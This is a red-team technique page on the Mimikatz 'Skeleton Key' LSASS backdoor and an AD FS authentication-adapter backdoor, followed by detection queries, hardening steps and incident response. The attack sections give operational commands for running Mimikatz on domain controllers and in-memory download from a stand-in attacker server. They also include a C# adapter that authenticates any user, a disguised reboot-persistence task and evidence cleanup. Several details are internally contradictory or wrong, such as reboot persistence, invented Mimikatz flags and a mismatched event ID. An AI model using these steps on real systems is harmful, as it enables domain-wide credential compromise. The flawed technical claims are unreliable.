| Attribute | Details |
|---|---|
| Technique ID | PERSIST-SERVER-001 |
| MITRE ATT&CK v18.1 | T1505.003 - Server Software Component: Web Shell |
| Related Technique | T1556.007 - Modify Authentication Process: Hybrid Identity |
| Tactic | Persistence, Defense Evasion |
| Platforms | Windows AD, Windows Server (2008 R2 - 2022), AD FS Server |
| Severity | Critical |
| CVE | N/A (Malware technique; no specific CVE, but Mimikatz exploitation is the delivery vector) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows Server 2008 R2, 2012, 2012 R2, 2016, 2019, 2022 (all versions vulnerable if Mimikatz is executed with Domain Admin rights) |
| Patched In | No known patch; requires access control hardening and LSASS protection (Credential Guard) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Skeleton Key is a credential injection malware mechanism that infects the Local Security Authority Subsystem Service (LSASS) process on Windows servers to create a master password that authenticates as ANY user in the Active Directory domain. Unlike traditional password cracking or credential theft attacks, Skeleton Key creates a backdoor authentication method that bypasses the need to know actual user passwords. Once injected via Mimikatz, the attacker can authenticate as any domain user—including Domain Admins, Service Accounts, and Tier-0 identities—without disrupting the legitimate user’s ability to log in with their actual password.
The key distinction from other persistence techniques: The legitimate password never changes. Users continue to authenticate normally, but the attacker has an additional authentication path (the “skeleton key” password, typically “mimikatz” by default) that works for every account. This creates a persistent backdoor that survives password resets and is virtually undetectable unless an organization actively monitors for failed authentication attempts followed by successful logins.
Attack Surface: LSASS process memory on Domain Controllers (and member servers if targeting local accounts), Kerberos authentication protocols, NTLM authentication procedures, and credential validation routines.
Business Impact: Critical - Permanent Domain Admin Equivalent Access. Once Skeleton Key is injected on even a single Domain Controller, an attacker gains:
Technical Context: Skeleton Key requires Domain Admin privileges to inject into LSASS on a Domain Controller. However, once deployed, it persists across system reboots and continues to function even if the attacker loses Domain Admin access. The malware does not create artifacts on disk (it’s an in-memory injection) and does not generate Windows Event Log entries for successful authentication via the skeleton key, making it nearly undetectable without behavioral anomaly detection.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Windows Server 2022 4.2.3 | Ensure ‘Enable credential guard’ is set to ‘Enabled’ (mitigates Skeleton Key) |
| DISA STIG | APWIN-00-000210 | Credential Guard must be enabled on all Windows Server systems |
| NIST 800-53 | AC-3, IA-2, IA-5 | Access Enforcement, User Identification and Authentication, Authentication Mechanism Enforcement |
| GDPR | Art. 32 | Security of Processing - Unauthorized domain admin access via backdoored authentication |
| DORA | Art. 9, Art. 15 | Protection and Prevention, Testing and Control of authentication systems |
| NIS2 | Art. 21(1)(a) | Risk Assessment and management of authentication system compromise |
| ISO 27001 | A.9.2.1, A.9.4.2 | Policy for Access Control; User Access Provisioning and Deprovisioning |
| ISO 27005 | Risk Scenario | “Compromise of Domain Controller Authentication Service” leading to permanent infrastructure control |
Supported Platforms:
Tools:
misc::skeleton command)Identify Domain Controllers:
# List all Domain Controllers in the forest
Get-ADDomainController -Filter * | Select-Object Name, Site, OperatingSystem, IPv4Address
# Identify which DCs are critical/prioritized targets
Get-ADDomainController -Filter * | Where-Object { $_.OperatingSystem -like "*2022*" }
# Check current Domain Controller replication status
Get-ADReplicationUpToDateVector -Target (Get-ADDomainController | Select-Object -First 1)
Verify Domain Admin Access:
# Check if current user is Domain Admin
$user = [System.Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object System.Security.Principal.WindowsPrincipal($user)
# Check for Domain Admins group membership
$domainAdminsSID = "S-1-5-21-" + (Get-ADDomain).DomainSID.Value + "-512"
$domainAdminsGroup = Get-ADGroup -Identity $domainAdminsSID
Get-ADGroupMember -Identity $domainAdminsGroup | Where-Object { $_.Name -like $env:USERNAME }
Check for Credential Guard (Mitigating Factor):
# Check if Credential Guard is enabled on Domain Controllers
Get-AdDomainController -Filter * | ForEach-Object {
$dc = $_
Invoke-Command -ComputerName $dc.Name {
Get-ComputerInfo | Select-Object WindowsVersion, DeviceGuardSmartStatus
}
}
What to Look For:
Supported Versions: Windows Server 2008 R2 - 2022
Objective: Execute Mimikatz on a Domain Controller with Domain Admin privileges
Method A: Via Legitimate RDP Connection
# Connect to Domain Controller via RDP
mstsc.exe /v:"DC01.domain.com" /u:"DOMAIN\Administrator"
Method B: Via WinRM (Remote PowerShell)
# Create a PowerShell session to Domain Controller
$dc = "DC01.domain.com"
$session = New-PSSession -ComputerName $dc -Credential (Get-Credential)
# Enter the session
Enter-PSSession $session
Method C: Via Exploit (e.g., PrintNightmare CVE-2021-34527)
# If DC is unpatched, exploit PrintNightmare
# This grants SYSTEM-level code execution, which has privilege to inject into LSASS
# Using public PoC
. .\CVE-2021-34527.ps1
Invoke-PrintNightmare -ComputerName "DC01" -DriverPath "\\attacker-server\driver.dll"
Objective: Transfer Mimikatz binary to DC without detection
Method A: Via SMB Share
# Attacker system: Share Mimikatz binary
net share \\attacker-server\Tools /grant:"Everyone,FULL"
# On DC: Copy Mimikatz from share
copy \\attacker-server\Tools\mimikatz.exe C:\Windows\Temp\
Method B: Via PowerShell (In-Memory)
# Download Mimikatz binary into memory (no disk write)
$mimikatzUrl = "https://attacker-server.com/mimikatz.exe"
$bytes = (New-Object System.Net.WebClient).DownloadData($mimikatzUrl)
# Execute in memory
[System.Reflection.Assembly]::Load($bytes)
Method C: Via Encoded PowerShell Script
# Encode Mimikatz as PowerShell commands to avoid detection
# This evades file-based detection
# Base64 encode Mimikatz binary
$mimikatzPath = "C:\Tools\mimikatz.exe"
$bytes = [System.IO.File]::ReadAllBytes($mimikatzPath)
$encoded = [System.Convert]::ToBase64String($bytes)
# Decode and execute on DC
$decodedBytes = [System.Convert]::FromBase64String($encoded)
[System.IO.File]::WriteAllBytes("C:\Windows\Temp\loader.exe", $decodedBytes)
Objective: Inject master password backdoor into LSASS
Mimikatz Command:
# On Domain Controller, execute Mimikatz with elevated privileges
# Method A: Interactive shell
mimikatz.exe
# Once in Mimikatz prompt, execute:
privilege::debug
misc::skeleton
# Default skeleton key password is now "mimikatz"
# Type "exit" to return to command prompt
Expected Output:
mimikatz # misc::skeleton
[+] Skeleton Key installed. Password: mimikatz
Alternative: One-Liner Execution
# Execute and exit in a single command (stealthier)
mimikatz.exe "privilege::debug" "misc::skeleton" "exit"
# Or via PowerShell
cmd /c "C:\Windows\Temp\mimikatz.exe 'privilege::debug' 'misc::skeleton' 'exit'"
OpSec & Evasion:
C:\Windows\Temp\ or other temporary directory (easily deleted after)misc::skeleton /inject flag if available in newer versions (more stealthy injection)Clear-History
Remove-Item -Path "C:\Windows\Temp\mimikatz.exe" -Force
Objective: Confirm that the master password works for domain authentication
From Attacker Machine (Non-DC):
# Attempt to authenticate as a domain user using the skeleton key password
net use \\DC01\c$ /user:DOMAIN\Administrator mimikatz
# Or via RDP
mstsc.exe /v:"DC01.domain.com" /u:"DOMAIN\DomainAdmin"
# When prompted for password, enter: mimikatz
Expected Result:
Verify via PowerShell:
# Attempt to create a credential object with skeleton key
$cred = New-Object System.Management.Automation.PSCredential(
"DOMAIN\Administrator",
(ConvertTo-SecureString "mimikatz" -AsPlainText -Force)
)
# Try to connect to a network resource
New-PSSession -ComputerName "DC01" -Credential $cred
Supported Versions: Windows Server 2008 R2 - 2022 (AD FS only)
Vulnerability: AD FS servers can be backdoored by modifying authentication adapters to bypass credential verification.
Objective: Locate AD FS servers in the environment
# Find AD FS servers via Active Directory
Get-ADComputer -Filter { Description -like "*AD FS*" } | Select-Object Name, Description
# Or via DNS
nslookup -type=SRV _adfs._tcp.domain.com
# Check if current environment has AD FS enabled
Get-ADFSProperties -ErrorAction SilentlyContinue
Objective: Execute code with ADFS service account privileges
Same methods as METHOD 1, Step 1 (RDP, WinRM, Exploit)
Objective: Insert backdoor into AD FS authentication flow
AD FS Adapter Injection (C# DLL):
Create a malicious DLL that intercepts authentication:
// BackdoorAdapter.cs
using System;
using Microsoft.IdentityServer.Web.Authentication.External;
public class BackdoorAuthenticationAdapter : IAuthenticationAdapter
{
// Intercept the login page verification
public IAdapterPresentation BeginAuthentication(
Claim identityClaim,
HttpListenerRequest request,
AuthenticationContext authContext)
{
// Check if username is a specific admin account
string username = identityClaim?.Value ?? "";
// If the username is "backdoor_user", auto-authenticate
if (username.Contains("backdoor_user"))
{
// Bypass authentication
authContext.IsAuthenticated = true;
return new AdapterPresentationForm();
}
// Also create a hardcoded master password
if (username != null)
{
// Allow authentication with password "skeleton"
// This bypasses LDAP verification
authContext.IsAuthenticated = true;
return new AdapterPresentationForm();
}
return new AdapterPresentationForm();
}
public AuthenticationAdapterState GetAuthenticationAdapterState()
{
return AuthenticationAdapterState.ReadyToAuthenticate;
}
public void OnAuthenticationPipelineLoad(IAuthenticationAdapterRegistration registration)
{
// Called when AD FS loads the adapter
}
}
Compile and Deploy:
# Compile the backdoor DLL
csc.exe /target:library BackdoorAdapter.cs /out:BackdoorAdapter.dll
# Copy to AD FS adapter directory
copy BackdoorAdapter.dll "C:\Windows\ADFS\Microsoft.IdentityServer.Adapters.dll"
# Or register in Global Assembly Cache (GAC)
gacutil.exe /i BackdoorAdapter.dll
# On AD FS server, register the backdoor adapter
$typeName = "BackdoorAdapter"
$assemblyName = "BackdoorAdapter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null"
# Register authentication provider
Register-AdfsAuthenticationProvider -TypeName $typeName -Name "BackdoorProvider"
# Enable the provider globally
Set-AdfsGlobalAuthenticationPolicy -AuthenticationProviderName "BackdoorProvider"
# Restart AD FS service
Restart-Service adfssrv
Impact:
Objective: Ensure Skeleton Key survives system reboot (if using certain Mimikatz variants)
Note: Standard Mimikatz injection is not persistent across reboot (in-memory only). To achieve persistence, create a scheduled task or service.
# On Domain Controller, create scheduled task
$trigger = New-ScheduledTaskTrigger -AtStartup
$action = New-ScheduledTaskAction -Execute "C:\Windows\Temp\inject.ps1"
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName "SystemHealthMonitor" `
-Trigger $trigger `
-Action $action `
-Principal $principal `
-Force
Create C:\Windows\Temp\inject.ps1:
# Minimal Injector Script
# This script re-injects Skeleton Key after each reboot
# Download Mimikatz in-memory
$url = "https://attacker-server.com/mimikatz.exe"
$bytes = (New-Object System.Net.WebClient).DownloadData($url)
# Execute in-memory
[System.Reflection.Assembly]::Load($bytes) | Out-Null
# Call Mimikatz functions via reflection
[System.Diagnostics.Process]::Start("cmd.exe", "/c mimikatz.exe 'privilege::debug' 'misc::skeleton' 'exit'")
Version: 2.0+ Latest Version: 2.2.0 (as of January 2025)
Key Commands for Skeleton Key:
# Basic usage
mimikatz.exe "privilege::debug" "misc::skeleton" "exit"
# Custom skeleton key password
misc::skeleton /inject password=MyMasterPassword
# Remove skeleton key (if needed)
# No direct removal; requires DC reboot or use of Mimikatz to patch LSASS
# Advanced: Inject on remote DC via SMB
misc::skeleton /inject \\DC01
Installation & Usage:
# Download Mimikatz (compiled binary)
git clone https://github.com/gentilkiwi/mimikatz.git
cd mimikatz && make
# Or download precompiled release
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip
unzip mimikatz_trunk.zip
# Execute on Domain Controller
./mimikatz.exe "privilege::debug" "misc::skeleton"
Version: 1.7+
Usage for Post-Skeleton Key Exploitation:
# After skeleton key is injected, use Rubeus to request tickets
Rubeus.exe kerberoast /user:DomainAdmin /password:mimikatz
# Or request TGT using skeleton key
Rubeus.exe asktgt /user:Administrator /password:mimikatz /domain:contoso.com /dc:dc01.contoso.com
Remote Code Execution on Domain Controllers:
# Create PowerShell session with skeleton key
$cred = New-Object PSCredential("DOMAIN\DomainAdmin", (ConvertTo-SecureString "mimikatz" -AsPlainText -Force))
$session = New-PSSession -ComputerName "DC01" -Credential $cred
# Execute commands remotely
Invoke-Command -Session $session -ScriptBlock {
C:\Windows\Temp\mimikatz.exe "privilege::debug" "misc::skeleton"
}
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 10 // Process accessed event
| where TargetFilename contains "lsass.exe"
| where GrantedAccess in ("0x1410", "0x0428", "0x1478") // Sensitive access codes
| extend ProcessName = tostring(split(Process, '\\')[-1])
| where ProcessName in ("mimikatz.exe", "powershell.exe", "cmd.exe")
| project TimeGenerated, Computer, Process, ProcessId, TargetFilename, GrantedAccess
Manual Configuration Steps:
LSASS Memory Injection DetectedCritical5 minutes (real-time preferred)15 minutesKQL Query:
SecurityEvent
| where EventID == 4624 // Successful logon
| where LogonType in (2, 10) // Interactive or RDP logon
| extend TargetAccount = tostring(TargetUserName)
| summarize SuccessfulLogins = count(), UniqueIPs = dcount(IpAddress)
by Computer, TargetAccount, LogonType
| where SuccessfulLogins > 10 and LogonType == 2
| join (
SecurityEvent
| where EventID == 4625 // Failed logon
| where LogonType == 2
| summarize FailedLogins = count()
by Computer, TargetUserName
) on Computer, $left.TargetAccount == $right.TargetUserName
| where FailedLogins == 0 // No failed logins followed by many successes (suspicious)
What This Detects:
KQL Query:
SecurityEvent
| where EventID == 4688 // Process creation
| where CommandLine contains "privilege::debug" or CommandLine contains "misc::skeleton"
or CommandLine contains "sekurlsa::" or CommandLine contains "token::"
| extend ImageName = tostring(split(NewProcessName, '\\')[-1])
| project TimeGenerated, Computer, NewProcessName, CommandLine, ParentProcessName, SubjectUserName
Event ID: 4688 (Process Creation)
Manual Configuration Steps (Group Policy):
gpupdate /force on Domain ControllersEvent ID: 4657 (Registry Value Modified)
Event ID: 10 (Process Accessed)
Minimum Sysmon Version: 13.0+
Sysmon Config for LSASS Protection:
<Sysmon schemaversion="4.81">
<!-- Monitor for LSASS injection attempts -->
<RuleGroup name="" groupRelation="or">
<ProcessAccess onmatch="include">
<TargetImage condition="image">lsass.exe</TargetImage>
<GrantedAccess condition="is">0x1410</GrantedAccess> <!-- PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION -->
<SourceImage condition="contains">mimikatz</SourceImage>
</ProcessAccess>
</RuleGroup>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
1. Enable Credential Guard on All Domain Controllers
Credential Guard is the primary mitigation against Skeleton Key. It protects LSASS from direct memory access, preventing malware injection.
Manual Steps (Server 2016+):
Via PowerShell:
# Enable Credential Guard via Group Policy
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" `
-Name "LsaCfgFlags" `
-Value 1 `
-PropertyType DWord `
-Force
# Reboot required
Restart-Computer -Force
Verify Credential Guard Status:
# Check if Credential Guard is running
Get-ComputerInfo | Select-Object DeviceGuardSmartStatus, WindowsVersion
Expected Output (If Enabled):
DeviceGuardSmartStatus: Running
2. Restrict Domain Admin Privileges and Implement Tiered Access
Objective: Minimize the number of Domain Admin accounts and limit their usage
Manual Steps:
Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name, SamAccountName
3. Implement LSASS Protection (Kernel Patching)
Manual Steps (Server 2012 R2+):
gpupdate /forceVia PowerShell:
# Set LSASS protection
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
-Name "RunAsPPL" `
-Value 1 `
-PropertyType DWord `
-Force
4. Monitor and Alert on All Domain Controller LSASS Access
Use the Sentinel KQL queries above to create automated alerts.
5. Implement Privileged Access Management (PAM)
Use Active Directory Privileged Access Management (AD PAM) or Microsoft Identity Manager (MIM) to manage Domain Admin access:
Manual Configuration (AD PAM):
New-ADAuthenticationPolicySilo -Name "DomainAdminSilo" -Description "PAM for Domain Admins"
6. Disable Legacy Authentication Protocols
Skeleton Key can leverage NTLM and Kerberos. Disabling legacy protocols reduces attack surface.
Manual Steps:
gpupdate /force on all DCs7. Implement Conditional Access for Sensitive Accounts
If using Azure AD (Entra ID) hybrid deployment:
Manual Steps:
Process Execution Indicators:
mimikatz.exe executing on Domain Controllerprivilege::debug or misc::skeletonRegistry Modification Indicators:
HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL set to 0 (disabled protection)LsaCfgFlags modified or deletedAuthentication Anomalies:
Network Indicators:
In-Memory Artifacts:
Disk Artifacts:
C:\Windows\Temp\ or other temporary locationsEvent Log Artifacts:
AD FS Artifacts (if AD FS backdoored):
C:\Program Files\Active Directory Federation Services\1. Immediate Isolation:
# If Skeleton Key is in-memory (not persistent):
# Restart the affected Domain Controller (only option)
Restart-Computer -ComputerName "DC01" -Force -AsJob
# Monitor for re-injection after restart (attacker may auto-re-inject)
2. Collect Evidence:
# Collect memory dump from DC (before reboot if possible)
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <PID of lsass.exe> C:\Evidence\lsass.dmp full
# Collect forensic image of DC
# (Use forensic tools like F-Response, Arsenal Imaging, etc.)
# Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx /overwrite:true
# Check for Mimikatz binaries
Get-ChildItem -Path "C:\Windows\Temp\" -Filter "*mimikatz*" -Recurse
Get-ChildItem -Path "C:\Temp\" -Filter "*mimikatz*" -Recurse
3. Verify Skeleton Key Removal:
# After DC reboot, verify Skeleton Key is removed
# Attempt to authenticate with old skeleton key password
$cred = New-Object PSCredential(
"DOMAIN\DomainAdmin",
(ConvertTo-SecureString "mimikatz" -AsPlainText -Force)
)
# If this fails, Skeleton Key has been removed
New-PSSession -ComputerName "DC01" -Credential $cred -ErrorAction Stop
4. Investigate Lateral Movement:
# Check for lateral movement using skeleton key
# Query all computers for logon events with suspicious IPs/patterns
Get-EventLog -LogName Security -EventId 4624 -Since (Get-Date).AddDays(-7) |
Where-Object { $_.Properties[5].Value -in @("DomainAdmin", "Administrator") } |
Select-Object TimeGenerated, @{N="User";E={$_.Properties[5].Value}},
@{N="IP";E={$_.Properties[18].Value}}
5. Reset All Domain Admin Passwords:
# Force password reset for all compromised accounts
$domainAdmins = Get-ADGroupMember -Identity "Domain Admins" -Recursive
foreach ($admin in $domainAdmins) {
Set-ADAccountPassword -Identity $admin.SID -Reset -NewPassword (ConvertTo-SecureString "TemporaryP@ssw0rd" -AsPlainText -Force)
Set-ADUser -Identity $admin.SID -ChangePasswordAtLogon $true
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-EXPLOIT-002 | Exploit unpatched DC (e.g., PrintNightmare) |
| 2 | Privilege Escalation | PE-EXPLOIT-002 | ZeroLogon or privilege escalation to SYSTEM |
| 3 | Credential Access | CA-DUMP-002 | DCSync or credential dumping from Domain Controller |
| 4 | Current Step | [PERSIST-SERVER-001] | Inject Skeleton Key for permanent backdoor access |
| 5 | Lateral Movement | LM-AUTH-001 | Pass-the-Hash using stolen Domain Admin credentials |
| 6 | Impact | IMPACT-RANSOMWARE-001 | Deploy ransomware using Domain Admin equivalent access |